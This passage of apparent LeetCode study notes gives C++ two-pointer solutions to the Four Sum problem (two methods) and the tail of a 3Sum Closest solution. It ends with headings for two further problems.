                continue;

            int left = i + 1, right = n - 1;
            while(left<right){
                int tmp = nums[i] + nums[left] + nums[right];
                if(tmp==target) return target;

                if(abs(target-tmp)<abs(target-ans)) ans=tmp;

                if(tmp<target){
                    int j=left+1;
                    while(j<right&&nums[j]==nums[left])
                        j++;
                    left=j;
                }else{
                    int k=right-1;
                    while(left<k&&nums[k]==nums[right])
                        k--;
                    right=k; 
                }
            }
        }
        return ans;
    }
};

18. 四数之和

class Solution {
public:
    vector<vector<int>> ans;
    vector<vector<int>> fourSum(vector<int>& nums, int target) {
        sort(nums.begin(),nums.end());
        int n=nums.size();
        for(int i=0;i<n;i++){
            if(i>0&&nums[i]==nums[i-1]) continue;
            for(int j=i+1;j<n;j++){
                if(j>i+1&&nums[j]==nums[j-1])   continue;
                long cur=nums[i]+nums[j];
                // 双指针
                int left=j+1,right=n-1;
                for(;left<n;left++){
                    if(left>j+1&&nums[left]==nums[left-1])
                        continue;
                    while(left<right&&cur+nums[left]+nums[right]>target)
                        right--;
                    if(left==right)
                        break;
                    if(cur+nums[left]+nums[right]==target){
                        ans.push_back({nums[i],nums[j],nums[left],nums[right]});
                    }
                }

            }
        }
        return ans;
    }
};

方法二

class Solution {
public:
    vector<vector<int>> fourSum(vector<int>& nums, int target) {
        vector<vector<int>> ans;

    if (nums.size() < 4)
        return ans;
    sort(nums.begin(), nums.end());
    for (int i = 0; i < nums.size(); i++)
    {
        //跳过相同的数
        if (i > 0 && nums[i] == nums[i - 1])
            continue;
        for (int j = i + 1; j < nums.size(); j++)
        {
            if (j > i + 1 && nums[j] == nums[j - 1])
                continue;
            long partSum = nums[i] + nums[j];
            int m = j + 1, n = nums.size() - 1;
            while (m < n)
            {
                if (partSum + nums[m] + nums[n] < target)
                    m++;
                else if (partSum + nums[m] + nums[n] > target)
                    n--;
                else
                {
                    ans.push_back(vector<int>{nums[i], nums[j], nums[m], nums[n]});
                    m++;
                    while (m<n&&nums[m] == nums[m - 1])
                        m++;
                    n--;
                    while (m<n&&nums[n] == nums[n + 1])
                        n--;
                }
            }
        }
    }
    return ans;
    }
};

11. 盛最多水的容器

1679. K 和数对的最大数目（哈希表）